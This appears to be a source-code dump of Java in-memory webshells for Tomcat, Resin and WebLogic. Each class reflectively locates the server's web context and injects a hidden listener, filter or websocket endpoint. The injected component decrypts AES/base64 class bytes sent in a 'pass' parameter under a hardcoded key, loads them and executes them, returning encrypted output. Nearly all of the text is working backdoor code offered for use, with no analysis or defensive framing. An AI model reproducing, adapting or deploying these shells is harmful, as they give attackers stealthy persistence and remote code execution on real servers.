258 | Class base64;
259 | byte[] value = null;
260 | try {
261 | base64 = Class.forName("java.util.Base64");
262 | Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
263 | value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{
264 | String.class
265 | }).invoke(decoder, new Object[]{
266 | bs
267 | });
268 | } catch (Exception e) {
269 | try {
270 | base64 = Class.forName("sun.misc.BASE64Decoder");
271 | Object decoder = base64.newInstance();
272 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{
273 | String.class
274 | }).invoke(decoder, new Object[]{
275 | bs
276 | });
277 | } catch (Exception e2) {
278 | }
279 | }
280 | return value;
281 | }
282 |
283 |
284 | @Override
285 | public void init(FilterConfig filterConfig) throws ServletException {
286 |
287 | }
288 |
289 | @Override
290 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
291 | String contentType = servletRequest.getContentType();
292 | try {
293 | if (contentType != null && contentType.contains("application/x-www-form-urlencoded")) {
294 | String value = servletRequest.getParameter(password);
295 | if (value != null) {
296 | byte[] data = base64Decode(value);
297 | data = aes(data, false);
298 | if (data != null && data.length > 0) {
299 | if (payloadClass == null) {
300 | ClassLoader loader = Thread.currentThread().getContextClassLoader();
301 | if (loader == null) {
302 | loader = servletRequest.getClass().getClassLoader();
303 | }
304 | payloadClass = new AesBase64ResinFilterShell(loader).defineClass(data, 0, data.length);
305 | } else {
306 | java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
307 | Object f = payloadClass.newInstance();
308 | f.equals(arrOut);
309 | f.equals(servletRequest);
310 | f.equals(data);
311 | f.toString();
312 | String md5 = md5(password + key);
313 | if (arrOut.size() > 0) {
314 | PrintWriter printWriter = servletResponse.getWriter();
315 | printWriter.write(md5.substring(0, 16));
316 | printWriter.write(base64Encode(aes(arrOut.toByteArray(), true)));
317 | printWriter.write(md5.substring(16));
318 | return;
319 | }
320 | }
321 | }
322 | }
323 | }
324 | } catch (Throwable e) {
325 |
326 | }
327 | filterChain.doFilter(servletRequest, servletResponse);
328 | }
329 |
330 | @Override
331 | public void destroy() {
332 |
333 | }
334 | }
335 |
--------------------------------------------------------------------------------
/TomcatMemoryShell/TomcatMemoryShell.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/TomcatMemoryShell/src/AesBase64TomcatListenerShell.java:
--------------------------------------------------------------------------------
1 | import sun.misc.Unsafe;
2 |
3 | import java.io.PrintWriter;
4 | import java.lang.reflect.*;
5 | import java.util.*;
6 |
7 | public class AesBase64TomcatListenerShell extends ClassLoader implements InvocationHandler {
8 | private static Class payloadClass;
9 | private static Object unsafe;
10 | private String key = "3c6e0b8a9c15224a";
11 | private String password = "pass";
12 |
13 |
14 | static {
15 | new AesBase64TomcatListenerShell().addListener();
16 | }
17 |
18 | public AesBase64TomcatListenerShell(ClassLoader loader) {
19 | super(loader);
20 | }
21 |
22 | public AesBase64TomcatListenerShell() {
23 |
24 | }
25 |
26 | private void addListener() {
27 | try {
28 | Class servletRequestListenerClass = null;
29 | try {
30 | servletRequestListenerClass = loadClasses("jakarta.servlet.ServletRequestListener");
31 | } catch (Exception e) {
32 | try {
33 | servletRequestListenerClass = loadClasses("javax.servlet.ServletRequestListener");
34 | } catch (ClassNotFoundException ex) {
35 |
36 | }
37 | }
38 | if (servletRequestListenerClass != null) {
39 | addListener(java.lang.reflect.Proxy.newProxyInstance(servletRequestListenerClass.getClassLoader(), new Class[]{servletRequestListenerClass}, this));
40 | }
41 | } catch (Throwable e) {
42 |
43 | }
44 | }
45 |
46 | public Class loadClasses(String className) throws ClassNotFoundException {
47 | ArrayList classLoaders = new ArrayList();
48 | classLoaders.add(this.getClass().getClassLoader());
49 | try {
50 | classLoaders.add(Thread.currentThread().getContextClassLoader());
51 | ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
52 | int threadCount = threadGroup.activeCount();
53 | Thread[] threads = new Thread[threadCount];
54 | threadCount = threadGroup.enumerate(threads);
55 | for (int i = 0; i < threadCount; i++) {
56 | classLoaders.add(threads[i].getContextClassLoader());
57 | }
58 | } catch (Exception e) {
59 |
60 | }
61 | int loaders = classLoaders.size();
62 | for (int i = 0; i < loaders; i++) {
63 | ClassLoader loader = (ClassLoader) classLoaders.get(i);
64 | if (loader != null) {
65 | try {
66 | return Class.forName(className, true, loader);
67 | } catch (Throwable e) {
68 |
69 | }
70 | }
71 | }
72 | return Class.forName(className);
73 | }
74 |
75 |
76 | public Object[] getStandardContexts() throws Throwable {
77 | HashSet contexts = new HashSet();
78 | HashSet blackType = new HashSet();
79 | blackType.add(int.class.getName());
80 | blackType.add(short.class.getName());
81 | blackType.add(long.class.getName());
82 | blackType.add(double.class.getName());
83 | blackType.add(byte.class.getName());
84 | blackType.add(float.class.getName());
85 | blackType.add(char.class.getName());
86 | blackType.add(boolean.class.getName());
87 | blackType.add(Integer.class.getName());
88 | blackType.add(Short.class.getName());
89 | blackType.add(Long.class.getName());
90 | blackType.add(Double.class.getName());
91 | blackType.add(Byte.class.getName());
92 | blackType.add(Float.class.getName());
93 | blackType.add(Character.class.getName());
94 | blackType.add(Boolean.class.getName());
95 | blackType.add(String.class.getName());
96 |
97 | Class standardContextClass = loadClasses("org.apache.catalina.core.StandardContext");
98 | HashSet blackValues = new HashSet();
99 | blackValues.add(System.identityHashCode(blackValues));
100 |
101 | Object obj = searchObject(standardContextClass, Thread.currentThread().getContextClassLoader(), blackValues, blackType, 30, 0);
102 | if (obj == null) {
103 | obj = searchObject(standardContextClass, Thread.currentThread(), blackValues, blackType, 30, 0);
104 | }
105 |
106 | if (obj != null) {
107 | contexts.add(obj);
108 | try {
109 | Map contextMap = (Map) getFieldValue(getFieldValue(obj, "parent"), "children");
110 | contexts.addAll(contextMap.values());
111 | } catch (Exception e) {
112 |
113 | }
114 |
115 | try {
116 | Map hosts = (Map) getFieldValue(getFieldValue(getFieldValue(obj, "parent"), "parent"), "children");
117 | Iterator iterator = hosts.values().iterator();
118 | while (iterator.hasNext()) {
119 | Object host = iterator.next();
120 | if (host != null) {
121 | Map contextMap = (Map) getFieldValue(host, "children");
122 | contexts.addAll(contextMap.values());
123 | }
124 | }
125 | } catch (Exception e) {
126 |
127 | }
128 | }
129 | return contexts.toArray();
130 | }
131 |
132 | public Object searchObject(Class targetClas, Object object, HashSet blacklist, HashSet blackType, int maxDepth, int currentDepth) throws Throwable {
133 | currentDepth++;
134 |
135 | if (currentDepth >= maxDepth) {
136 | return null;
137 | }
138 |
139 | if (object != null) {
140 |
141 | if (targetClas.isInstance(object)) {
142 | return object;
143 | }
144 |
145 | Integer hash = System.identityHashCode(object);
146 | if (!blacklist.contains(hash)) {
147 | blacklist.add(new Integer(hash));
148 | Field[] fields = null;
149 | ArrayList fieldsArray = new ArrayList();
150 | Class objClass = object.getClass();
151 | while (objClass != null) {
152 | Field[] fields1 = objClass.getDeclaredFields();
153 | fieldsArray.addAll(Arrays.asList(fields1));
154 | objClass = objClass.getSuperclass();
155 | }
156 | fields = (Field[]) fieldsArray.toArray(new Field[0]);
157 |
158 |
159 | for (int i = 0; i < fields.length; i++) {
160 | Field field = fields[i];
161 |
162 | try {
163 | Class fieldType = field.getType();
164 | if (!blackType.contains(fieldType.getName())) {
165 | Object fieldValue = getFieldValue(field, object);
166 | if (fieldValue != null) {
167 | Object ret = null;
168 |
169 | if (fieldValue instanceof Map) {
170 | Set set = ((Map) fieldValue).entrySet();
171 | Iterator iterator = set.iterator();
172 | while (iterator.hasNext()) {
173 | Map.Entry entry = (Map.Entry) iterator.next();
174 | ret = searchObject(targetClas, entry.getValue(), blacklist, blackType, maxDepth, currentDepth);
175 | if (ret != null) {
176 | break;
177 | }
178 | ret = searchObject(targetClas, entry.getKey(), blacklist, blackType, maxDepth, currentDepth);
179 | if (ret != null) {
180 | break;
181 | }
182 | }
183 | } else if (fieldValue instanceof Iterable) {
184 | Iterator iterator = ((Iterable) fieldValue).iterator();
185 | while (iterator.hasNext()) {
186 | ret = searchObject(targetClas, iterator.next(), blacklist, blackType, maxDepth, currentDepth);
187 | if (ret != null) {
188 | break;
189 | }
190 | }
191 | } else if (fieldType.isArray()) {
192 | if (!blackType.contains(fieldType.getComponentType().getName())) {
193 | int arraySize = Array.getLength(fieldValue);
194 | for (int j = 0; j < arraySize; j++) {
195 | ret = searchObject(targetClas, Array.get(fieldValue, j), blacklist, blackType, maxDepth, currentDepth);
196 | if (ret != null) {
197 | break;
198 | }
199 | }
200 | }
201 | } else {
202 | ret = searchObject(targetClas, fieldValue, blacklist, blackType, maxDepth, currentDepth);
203 | }
204 | if (ret != null) {
205 | return ret;
206 | }
207 | }
208 | }
209 | } catch (Throwable e) {
210 |
211 | }
212 | }
213 | }
214 | }
215 | return null;
216 |
217 | }
218 |
219 | private boolean addListener(Object listener) throws Throwable {
220 | Object[] standardContexts = getStandardContexts();
221 |
222 | boolean isOk = false;
223 |
224 | for (int i = 0; i < standardContexts.length; i++) {
225 | Object standardContext = standardContexts[i];
226 | Object[] listenerObjects = null;
227 | try {
228 | listenerObjects = (Object[]) getFieldValue(standardContext, "applicationEventListenersObjects");
229 | } catch (Exception e) {
230 |
231 | }
232 |
233 | List listenerList = null;
234 |
235 | try {
236 | listenerList = (List) getFieldValue(standardContext, "applicationEventListenersList");
237 | } catch (Exception e) {
238 |
239 | }
240 |
241 |
242 | if (listenerObjects != null) {
243 | Object[] newListenerObjects = new Object[listenerObjects.length + 1];
244 | System.arraycopy(listenerObjects, 0, newListenerObjects, 0, listenerObjects.length);
245 | newListenerObjects[newListenerObjects.length - 1] = listener;
246 | getField(standardContext, "applicationEventListenersObjects").set(standardContext, newListenerObjects);
247 | isOk = true;
248 | } else if (listenerList != null) {
249 | listenerList.add(listener);
250 | isOk = true;
251 | } else {
252 | try {
253 | Method addApplicationEventListenerMethod = getMethodByClass(standardContext.getClass(), "addApplicationEventListener", Object.class);
254 | addApplicationEventListenerMethod.setAccessible(true);
255 | addApplicationEventListenerMethod.invoke(standardContext, listener);
256 | isOk = true;
257 | } catch (Exception e) {
258 |
259 | }
260 | }
261 |
262 | }
263 |
264 |
265 | return isOk;
266 | }
267 |
268 |
269 | public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
270 | if (method.getName().equals("requestInitialized")) {
271 | Object servletRequestEvent = args[0];
272 | run(servletRequestEvent);
273 | }
274 | return null;
275 | }
276 |
277 | private Object invokeMethod(Object obj, String methodName, Object... parameters) {
278 | try {
279 | ArrayList classes = new ArrayList();
280 | if (parameters != null) {
281 | for (int i = 0; i < parameters.length; i++) {
282 | Object o1 = parameters[i];
283 | if (o1 != null) {
284 | classes.add(o1.getClass());
285 | } else {
286 | classes.add(null);
287 | }
288 | }
289 | }
290 | Method method = getMethodByClass(obj.getClass(), methodName, (Class[]) classes.toArray(new Class[]{}));
291 |
292 | return method.invoke(obj, parameters);
293 | } catch (Exception e) {
294 | // e.printStackTrace();
295 | }
296 | return null;
297 | }
298 |
299 | private Method getMethodByClass(Class cs, String methodName, Class... parameters) {
300 | Method method = null;
301 | while (cs != null) {
302 | try {
303 | method = cs.getMethod(methodName, parameters);
304 | cs = null;
305 | } catch (Exception e) {
306 | cs = cs.getSuperclass();
307 | }
308 | }
309 |
310 | if (method != null) {
311 | try {
312 | method.setAccessible(true);
313 | } catch (Throwable e) {
314 |
315 | }
316 | }
317 |
318 | return method;
319 | }
320 |
321 | public Unsafe getUnsafe() throws Exception {
322 | if (unsafe == null) {
323 | Class unsafeClass = Class.forName("sun.misc.Unsafe");
324 | Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe");
325 | theUnsafe.setAccessible(true);
326 | unsafe = theUnsafe.get(null);
327 | }
328 | return (Unsafe) unsafe;
329 | }
330 |
331 | public Field getField(Object obj, String fieldName) {
332 | Class clazz = null;
333 |
334 | if (obj == null) {
335 | return null;
336 | }
337 |
338 | if (obj instanceof Class) {
339 | clazz = (Class) obj;
340 | } else {
341 | clazz = obj.getClass();
342 | }
343 | Field field = null;
344 | while (clazz != null) {
345 | try {
346 | field = clazz.getDeclaredField(fieldName);
347 | clazz = null;
348 | } catch (Exception e) {
349 | clazz = clazz.getSuperclass();
350 | }
351 | }
352 |
353 | if (field != null) {
354 | field.setAccessible(true);
355 | }
356 |
357 | return field;
358 | }
359 |
360 | public Object getFieldValue(Object obj, String fieldName) throws Exception {
361 | Field f = null;
362 | if (obj instanceof Field) {
363 | f = (Field) obj;
364 | } else {
365 | f = getField(obj, fieldName);
366 | }
367 |
368 | if (f != null) {
369 | return getFieldValue(f, obj);
370 | }
371 | return null;
372 | }
373 |
374 | public Object getFieldValue(Field field, Object value) throws Exception {
375 | try {
376 | field.setAccessible(true);
377 | } catch (Exception e) {
378 | Unsafe unsafe = getUnsafe();
379 | if (!field.getType().isPrimitive()) {
380 | if (Modifier.isStatic(field.getModifiers())) {
381 | return unsafe.staticFieldBase(field);
382 | } else {
383 | return unsafe.getObject(value, unsafe.objectFieldOffset(field));
384 | }
385 | }
386 | }
387 | return field.get(value);
388 | }
389 |
390 | public void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
391 | Field f = getField(obj, fieldName);
392 | if (f != null) {
393 | setFieldValue(f, obj, value);
394 | }
395 | }
396 |
397 | public void setFieldValue(Field field, Object obj, Object value) throws Exception {
398 | try {
399 | field.setAccessible(true);
400 | } catch (Exception e) {
401 | Unsafe unsafe = getUnsafe();
402 | if (!field.getType().isPrimitive()) {
403 | if (Modifier.isStatic(field.getModifiers())) {
404 | unsafe.putObject(obj.getClass(), unsafe.staticFieldOffset(field), value);
405 | } else {
406 | unsafe.putObject(obj, unsafe.objectFieldOffset(field), value);
407 | }
408 | return;
409 | }
410 | }
411 | field.set(obj, value);
412 | }
413 |
414 | public String getParameter(Object requestObject, String name) {
415 | return (String) invokeMethod(requestObject, "getParameter", name);
416 | }
417 |
418 | public String getContentType(Object requestObject) {
419 | return (String) invokeMethod(requestObject, "getContentType");
420 | }
421 |
422 |
423 | public byte[] aes(byte[] s, boolean m) {
424 | try {
425 | javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
426 | c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES"));
427 | return c.doFinal(s);
428 | } catch (Exception e) {
429 | return null;
430 | }
431 | }
432 |
433 | public String md5(String s) {
434 | String ret = null;
435 | try {
436 | java.security.MessageDigest m;
437 | m = java.security.MessageDigest.getInstance("MD5");
438 | m.update(s.getBytes(), 0, s.length());
439 | ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
440 | } catch (Exception e) {
441 | }
442 | return ret;
443 | }
444 |
445 | public String base64Encode(byte[] bs) throws Exception {
446 | Class base64;
447 | String value = null;
448 | try {
449 | base64 = Class.forName("java.util.Base64");
450 | Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
451 | value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
452 | } catch (Exception e) {
453 | try {
454 | base64 = Class.forName("sun.misc.BASE64Encoder");
455 | Object Encoder = base64.newInstance();
456 | value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
457 | } catch (Exception e2) {
458 | }
459 | }
460 | return value;
461 | }
462 |
463 | public byte[] base64Decode(String bs) throws Exception {
464 | Class base64;
465 | byte[] value = null;
466 | try {
467 | base64 = Class.forName("java.util.Base64");
468 | Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
469 | value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
470 | } catch (Exception e) {
471 | try {
472 | base64 = Class.forName("sun.misc.BASE64Decoder");
473 | Object decoder = base64.newInstance();
474 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
475 | } catch (Exception e2) {
476 | }
477 | }
478 | return value;
479 | }
480 |
481 | private void run(Object servletRequestEvent) {
482 | try {
483 | Object request = invokeMethod(servletRequestEvent, "getServletRequest");
484 | Object response = getFieldValue(getFieldValue(request, "request"), "response");
485 |
486 | if (response == null) {
487 | response = getFieldValue(request, "response");
488 | }
489 |
490 | try {
491 | String contentType = getContentType(request);
492 | if (contentType != null && contentType.contains("application/x-www-form-urlencoded")) {
493 | String value = getParameter(request, password);
494 | if (value != null) {
495 | byte[] data = base64Decode(value);
496 | data = aes(data, false);
497 | if (data != null && data.length > 0) {
498 | if (payloadClass == null) {
499 | ClassLoader loader = Thread.currentThread().getContextClassLoader();
500 | if (loader == null) {
501 | loader = request.getClass().getClassLoader();
502 | }
503 |
504 | payloadClass = new AesBase64TomcatListenerShell(loader).defineClass(data, 0, data.length);
505 | } else {
506 | java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
507 | Object f = payloadClass.newInstance();
508 | f.equals(arrOut);
509 | f.equals(request);
510 | f.equals(data);
511 | f.toString();
512 | String md5 = md5(password + key);
513 | if (arrOut.size() > 0) {
514 | PrintWriter printWriter = (PrintWriter) invokeMethod(response, "getWriter");
515 | printWriter.write(md5.substring(0, 16));
516 | printWriter.write(base64Encode(aes(arrOut.toByteArray(), true)));
517 | printWriter.write(md5.substring(16));
518 | printWriter.flush();
519 | printWriter.close();
520 | setFieldValue(response, "usingWriter", Boolean.FALSE);
521 | setFieldValue(response, "usingOutputStream", Boolean.FALSE);
522 | setFieldValue(response, "appCommitted", Boolean.FALSE);
523 | setFieldValue(getFieldValue(response, "coyoteResponse"), "committed", Boolean.FALSE);
524 | }
525 | }
526 | }
527 | }
528 | }
529 |
530 | } catch (Throwable ignored) {
531 | }
532 | } catch (Throwable ignored) {
533 |
534 | }
535 | }
536 |
537 | }
538 |
--------------------------------------------------------------------------------
/TomcatMemoryShell/src/AesTomcatWebsocketShell.java:
--------------------------------------------------------------------------------
1 | import javax.servlet.ServletContext;
2 | import javax.websocket.Endpoint;
3 | import javax.websocket.EndpointConfig;
4 | import javax.websocket.MessageHandler;
5 | import javax.websocket.Session;
6 | import javax.websocket.server.ServerContainer;
7 | import javax.websocket.server.ServerEndpointConfig;
8 | import java.io.ByteArrayOutputStream;
9 | import java.io.IOException;
10 | import java.lang.reflect.Array;
11 | import java.lang.reflect.Field;
12 | import java.lang.reflect.Method;
13 | import java.net.URL;
14 | import java.net.URLClassLoader;
15 | import java.nio.ByteBuffer;
16 | import java.util.ArrayList;
17 | import java.util.Arrays;
18 | import java.util.HashSet;
19 | import java.util.Map;
20 |
21 | public class AesTomcatWebsocketShell extends Endpoint implements MessageHandler.Whole{
22 | private static boolean initialized = false;
23 | private static final Object lock = new Object();
24 | private Class payload = null;
25 | private Session session = null;
26 | private String xc = "3c6e0b8a9c15224a";
27 | private String pass = "pass";
28 |
29 |
30 | static {
31 | new AesTomcatWebsocketShell();
32 | }
33 |
34 | public AesTomcatWebsocketShell(){
35 | synchronized (lock){
36 | if (!initialized){
37 | initialized = true;
38 | try {
39 | addEndpoint(this);
40 | }catch (Throwable ignored){
41 |
42 | }
43 | }
44 | }
45 | }
46 |
47 | public AesTomcatWebsocketShell(Session session){
48 | this.session = session;
49 | }
50 |
51 | private static Object[] getStandardContexts() throws Throwable {
52 | HashSet contexts = new HashSet();
53 | HashSet blackType = new HashSet();
54 | blackType.add(int.class.getName());
55 | blackType.add(short.class.getName());
56 | blackType.add(long.class.getName());
57 | blackType.add(double.class.getName());
58 | blackType.add(byte.class.getName());
59 | blackType.add(float.class.getName());
60 | blackType.add(char.class.getName());
61 | blackType.add(boolean.class.getName());
62 | blackType.add(Integer.class.getName());
63 | blackType.add(Short.class.getName());
64 | blackType.add(Long.class.getName());
65 | blackType.add(Double.class.getName());
66 | blackType.add(Byte.class.getName());
67 | blackType.add(Float.class.getName());
68 | blackType.add(Character.class.getName());
69 | blackType.add(Boolean.class.getName());
70 | blackType.add(String.class.getName());
71 |
72 | Object obj = searchObject("org.apache.catalina.core.StandardContext",Thread.currentThread(),new HashSet(),blackType,30,0);
73 | if (obj != null) {
74 | contexts.add(obj);
75 | try {
76 | Map contextMap = (Map) getFieldValue(getFieldValue(obj,"parent"),"children");
77 | contexts.addAll(contextMap.values());
78 | }catch (Exception e){
79 |
80 | }
81 | }
82 | return contexts.toArray();
83 | }
84 | private static Object searchObject(String targetClassName, Object object, HashSet blacklist,HashSet blackType,int maxDepth,int currentDepth)throws Throwable {
85 | currentDepth++;
86 |
87 | if (currentDepth >= maxDepth){
88 | return null;
89 | }
90 |
91 | if (object != null){
92 |
93 | if (targetClassName.equals(object.getClass().getName())){
94 | return object;
95 | }
96 |
97 | Integer hash = System.identityHashCode(object);
98 | if (!blacklist.contains(hash)) {
99 | blacklist.add(new Integer(hash));
100 | Field[] fields = null;
101 | ArrayList fieldsArray = new ArrayList();
102 | Class objClass = object.getClass();
103 | while (objClass != null){
104 | Field[] fields1 = objClass.getDeclaredFields();
105 | fieldsArray.addAll(Arrays.asList(fields1));
106 | objClass = objClass.getSuperclass();
107 | }
108 | fields = (Field[]) fieldsArray.toArray(new Field[0]);
109 |
110 |
111 | for (int i = 0; i < fields.length; i++) {
112 | Field field = fields[i];
113 |
114 | try {
115 | field.setAccessible(true);
116 | Class fieldType = field.getType();
117 | if (!blackType.contains(fieldType.getName())){
118 | Object fieldValue = field.get(object);
119 | if (fieldValue != null){
120 | Object ret = null;
121 | if (fieldType.isArray()){
122 | if (!blackType.contains(fieldType.getComponentType().getName())){
123 | int arraySize = Array.getLength(fieldValue);
124 | for (int j = 0; j < arraySize; j++) {
125 | ret = searchObject(targetClassName,Array.get(fieldValue,j),blacklist,blackType,maxDepth,currentDepth);
126 | if (ret!= null){
127 | break;
128 | }
129 | }
130 | }
131 | }else{
132 | ret = searchObject(targetClassName,fieldValue,blacklist,blackType,maxDepth,currentDepth);
133 | }
134 | if (ret!= null){
135 | return ret;
136 | }
137 | }
138 | }
139 | }catch (Throwable e){
140 |
141 | }
142 | }
143 | }
144 | }
145 | return null;
146 |
147 | }
148 | private static boolean canAdd(Object obj,String path) {
149 | try {
150 | java.lang.reflect.Method method = obj.getClass().getMethod("findMapping",new Class[]{String.class});
151 | if (method.invoke(obj,new Object[]{ path }) != null){
152 | return false;
153 | }
154 | }catch (Throwable t) {
155 |
156 | }
157 | return true;
158 | }
159 | private boolean addEndpoint(Endpoint endpoint) throws Throwable {
160 | Object[] standardContexts = getStandardContexts();
161 |
162 | boolean isOk = false;
163 |
164 | for (int i = 0; i < standardContexts.length; i++) {
165 | Object standardContext = standardContexts[i];
166 | try {
167 | int maxBinaryMessageBufferSize = 10485760;
168 | ServletContext servletContext = (ServletContext) standardContext.getClass().getMethod("getServletContext").invoke(standardContext);
169 | String websocketPath = String.format("/%s",pass);
170 | ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(endpoint.getClass(),websocketPath).build();
171 | ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
172 | try {
173 | if (canAdd(container,websocketPath)){
174 | if (container.getDefaultMaxBinaryMessageBufferSize() < maxBinaryMessageBufferSize){
175 | container.setDefaultMaxBinaryMessageBufferSize(maxBinaryMessageBufferSize);
176 | }
177 | container.addEndpoint(configEndpoint);
178 | isOk = true;
179 | }
180 | } catch (Throwable e) {
181 |
182 | }
183 | }catch (Throwable e){
184 |
185 | }
186 | }
187 |
188 |
189 | return isOk;
190 | }
191 |
192 | private static Field getField(Object obj, String fieldName){
193 | Class clazz = null;
194 |
195 | if(obj == null){
196 | return null;
197 | }
198 |
199 | if (obj instanceof Class){
200 | clazz = (Class)obj;
201 | }else {
202 | clazz = obj.getClass();
203 | }
204 | Field field = null;
205 | while (clazz!=null){
206 | try {
207 | field = clazz.getDeclaredField(fieldName);
208 | clazz = null;
209 | }catch (Exception e){
210 | clazz = clazz.getSuperclass();
211 | }
212 | }
213 |
214 | if (field != null){
215 | field.setAccessible(true);
216 | }
217 |
218 | return field;
219 | }
220 | private static Object getFieldValue(Object obj, String fieldName) throws Exception {
221 | Field f=null;
222 | if (obj instanceof Field){
223 | f=(Field)obj;
224 | }else {
225 | f = getField(obj, fieldName);
226 | }
227 | if (f != null) {
228 | return f.get(obj);
229 | }
230 | return null;
231 | }
232 | private byte[] aes(byte[] s,boolean m){
233 | try{
234 | javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
235 | c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
236 | return c.doFinal(s);
237 | }catch (Exception e){
238 | return null;
239 | }
240 | }
241 |
242 | public void onOpen(Session session, EndpointConfig endpointConfig) {
243 | session.addMessageHandler(new AesTomcatWebsocketShell(session));
244 | }
245 |
246 | private Class defClass(byte[] classBytes) throws Throwable {
247 | URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],AesTomcatWebsocketShell.class.getClassLoader());
248 | Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
249 | defineClassMethod.setAccessible(true);
250 | return (Class) defineClassMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
251 | }
252 |
253 | public void onMessage(ByteBuffer byteBuffer) {
254 | try {
255 | int limit = byteBuffer.limit();
256 | byte[] data = new byte[limit];
257 | byteBuffer.get(data,0,limit);
258 | data = aes(data,false);
259 | byte[] response = new byte[0];
260 | if (payload == null) {
261 | payload = defClass(data);
262 | }else {
263 | ByteArrayOutputStream bos = new ByteArrayOutputStream();
264 | Object obj = payload.newInstance();
265 | obj.equals(data);
266 | obj.equals(bos);
267 | obj.toString();
268 | response = bos.toByteArray();
269 | }
270 | session.getBasicRemote().sendBinary(ByteBuffer.wrap(aes(response,true)));
271 | }catch (Throwable e){
272 | try {
273 | session.close();
274 | } catch (IOException ex) {
275 |
276 | }
277 | }
278 | }
279 | }
280 |
--------------------------------------------------------------------------------
/WeblogicMemoryShell/WeblogicMemoryShell.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/WeblogicMemoryShell/src/AesBase64WeblogicFilterShell.java:
--------------------------------------------------------------------------------
1 | import javax.servlet.*;
2 | import java.io.IOException;
3 | import java.io.PrintWriter;
4 | import java.lang.reflect.*;
5 | import java.util.*;
6 |
7 | //weblogic 10.3.6 - weblogic 14
8 | public class AesBase64WeblogicFilterShell extends ClassLoader implements Filter {
9 | private static Class payloadClass;
10 | private String key = "3c6e0b8a9c15224a";
11 | private String password = "pass";
12 |
13 |
14 | static {
15 | new AesBase64WeblogicFilterShell().addFilter();
16 | }
17 |
18 | public AesBase64WeblogicFilterShell(ClassLoader loader){
19 | super(loader);
20 | }
21 |
22 | public AesBase64WeblogicFilterShell(){
23 |
24 | }
25 |
26 | private void addFilter() {
27 | try {
28 | addFilter(this.getClass());
29 | } catch (Throwable e) {
30 |
31 | }
32 | }
33 |
34 | private static Object[] getContextsByMbean() throws Throwable {
35 | HashSet webappContexts = new HashSet();
36 | Class serverRuntimeClass = loadClassEx("weblogic.t3.srvr.ServerRuntime");
37 | Class webAppServletContextClass = loadClassEx("weblogic.servlet.internal.WebAppServletContext");
38 | Method theOneMethod = serverRuntimeClass.getMethod("theOne");
39 | theOneMethod.setAccessible(true);
40 | Object serverRuntime = theOneMethod.invoke(null);
41 |
42 | Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
43 | getApplicationRuntimesMethod.setAccessible(true);
44 | Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
45 | int applicationRuntimeSize = Array.getLength(applicationRuntimes);
46 | for (int i = 0; i < applicationRuntimeSize; i++) {
47 | Object applicationRuntime = Array.get(applicationRuntimes,i);
48 |
49 | try {
50 | Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
51 | Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
52 | int componentRuntimeSize = Array.getLength(componentRuntimes);
53 | for (int j = 0; j < componentRuntimeSize; j++) {
54 | Object context = getFieldValue(Array.get(componentRuntimes,j),"context");
55 | if (webAppServletContextClass.isInstance(context)){
56 | webappContexts.add(context);
57 | }
58 | }
59 | }catch (Throwable e){
60 |
61 | }
62 |
63 | try {
64 | Set childrenSet = (Set) getFieldValue(applicationRuntime,"children");
65 | Iterator iterator = childrenSet.iterator();
66 |
67 | while (iterator.hasNext()){
68 | Object componentRuntime = iterator.next();
69 | try {
70 | Object context = getFieldValue(componentRuntime,"context");
71 | if (webAppServletContextClass.isInstance(context)){
72 | webappContexts.add(context);
73 | }
74 | }catch (Throwable e){
75 |
76 | }
77 | }
78 |
79 | }catch (Throwable e){
80 |
81 | }
82 | }
83 | return webappContexts.toArray();
84 | }
85 | private static Object[] getContextsByThreads()throws Throwable{
86 | HashSet webappContexts = new HashSet();
87 | ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
88 | int threadCount = threadGroup.activeCount();
89 | Thread[] threads = new Thread[threadCount];
90 | threadGroup.enumerate(threads);
91 | for (int i = 0; i < threadCount; i++) {
92 | Thread thread = threads[i];
93 | if (thread!=null){
94 | Object workEntry = getFieldValue(thread,"workEntry");
95 | if (workEntry!=null){
96 | try {
97 | Object context = null;
98 | Object connectionHandler = getFieldValue(workEntry,"connectionHandler");
99 | if (connectionHandler!=null){
100 | Object request = getFieldValue(connectionHandler,"request");
101 | if (request!=null){
102 | context = getFieldValue(request,"context");
103 | }
104 | }
105 | if (context == null){
106 | context = getFieldValue(workEntry,"context");
107 | }
108 |
109 | if (context!=null){
